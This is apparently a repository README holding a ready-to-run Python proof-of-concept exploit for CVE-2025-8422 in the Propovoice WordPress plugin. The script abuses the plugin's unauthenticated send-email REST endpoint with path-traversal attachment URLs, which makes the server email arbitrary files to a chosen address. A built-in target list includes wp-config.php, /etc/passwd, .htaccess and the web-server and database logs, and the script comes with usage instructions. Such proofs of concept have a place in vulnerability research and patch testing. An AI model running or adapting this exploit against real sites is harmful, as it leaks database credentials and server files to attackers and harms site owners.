README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2025-8422: Propovoice <= 1.7.6.7 - Unauthenticated Arbitrary File Read
Proof of Concept Exploit
This vulnerability allows unauthenticated attackers to read arbitrary files
by manipulating the 'attachments' parameter in the send_email() function.
"""
import requests
import sys
import json
import base64
def exploit_arbitrary_file_read(base_url, target_file, email_recipient):
"""
Exploit the Arbitrary File Read vulnerability in Propovoice plugin
The vulnerability exists in the send_email() function where the 'attachments'
parameter gets processed through str_replace() without proper validation,
allowing attackers to read arbitrary files via email attachments.
"""
print(f"[*] CVE-2025-8422 Exploit - Propovoice Arbitrary File Read")
print(f"[*] Target: {base_url}")
print(f"[*] File to read: {target_file}")
print(f"[*] Email recipient: {email_recipient}")
print("-" * 60)
# WordPress REST API endpoint for Propovoice
api_endpoint = f"{base_url}/wp-json/ndpv/v1/send-email"
# Craft malicious attachment URL
# The vulnerable code does: str_replace($site_url . '/wp-content', $content_dir, $attachment_url)
# We can manipulate this by crafting a URL that will result in our target file path
# Get site URL first to craft proper payload
site_info_url = f"{base_url}/wp-json/wp/v2"
try:
response = requests.get(site_info_url, timeout=10)
if response.status_code == 200:
site_data = response.json()
site_url = site_data.get('home', base_url)
else:
site_url = base_url
except:
site_url = base_url
print(f"[*] Detected site URL: {site_url}")
# Craft the malicious attachment URL
# Pattern: site_url + '/wp-content' + path_to_target_file
# This will make str_replace() convert it to: content_dir + path_to_target_file
malicious_attachment = f"{site_url}/wp-content{target_file}"
# Payload for the send_email API
payload = {
"to": email_recipient,
"subject": "File Exfiltration Test",
"message": "This email contains a file read via CVE-2025-8422",
"postId": "1", # Required parameter
"attachments": [malicious_attachment], # Malicious file path
"cc": "",
"bcc": ""
}
print(f"[*] Crafted malicious attachment URL: {malicious_attachment}")
print(f"[*] Sending request to: {api_endpoint}")
try:
# Send the malicious request
response = requests.post(
api_endpoint,
json=payload,
headers={
'Content-Type': 'application/json',
'User-Agent': 'CVE-2025-8422-Exploit'
},
timeout=15
)
print(f"[+] Response Status: {response.status_code}")
print(f"[+] Response Length: {len(response.text)} bytes")
if response.status_code == 200:
try:
result = response.json()
if result.get('success'):
print("[!] EXPLOITATION SUCCESSFUL!")
print("[!] Email sent with arbitrary file as attachment")
print(f"[!] Check email at: {email_recipient}")
print("[!] The file contents should be attached to the email")
return True
else:
print(f"[~] API returned success=false: {result}")
except json.JSONDecodeError:
print(f"[~] Non-JSON response: {response.text[:200]}")
elif response.status_code == 403:
print("[-] Access denied - plugin may require authentication")
elif response.status_code == 404:
print("[-] Endpoint not found - plugin may not be installed/active")
else:
print(f"[-] Unexpected status code: {response.status_code}")
print(f"[-] Response: {response.text[:300]}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {str(e)}")
return False
def test_multiple_files(base_url, email_recipient):
"""
Test reading multiple sensitive files
"""
target_files = [
"/../../../wp-config.php", # WordPress config
"/../../../../etc/passwd", # System users
"/../../../../etc/hostname", # System hostname
"/../../../../proc/version", # System version
"/../../../.htaccess", # Apache config
"/../../../../var/log/apache2/access.log", # Web server logs
"/../../../../var/log/mysql/error.log", # Database logs
]
print(f"[*] Testing multiple file read attempts")
success_count = 0
for target_file in target_files:
print(f"\n" + "="*50)
if exploit_arbitrary_file_read(base_url, target_file, email_recipient):
success_count += 1
print("="*50)
print(f"\n[*] Exploitation Summary:")
print(f"[*] Files attempted: {len(target_files)}")
print(f"[*] Successful reads: {success_count}")
if success_count > 0:
print("[!] VULNERABILITY CONFIRMED - Arbitrary File Read successful!")
print("[!] Check the specified email address for file contents")
else:
print("[~] No successful file reads - plugin may be patched or protected")
def main():
if len(sys.argv) < 3:
print("Usage: python3 cve-2025-8422-exploit.py <target_url> <email_recipient> [target_file]")
print("\nExamples:")
print(" python3 cve-2025-8422-exploit.py https://example.com [email protected]")
print(" python3 cve-2025-8422-exploit.py https://example.com [email protected] /../../../wp-config.php")
sys.exit(1)
target_url = sys.argv[1].rstrip('/')
email_recipient = sys.argv[2]
if len(sys.argv) >= 4:
# Single file test
target_file = sys.argv[3]
success = exploit_arbitrary_file_read(target_url, target_file, email_recipient)
if success:
print("\n[!] Exploitation successful - check email for file contents!")
else:
print("\n[~] Exploitation failed")
else:
# Multiple file test
test_multiple_files(target_url, email_recipient)
if __name__ == "__main__":
main()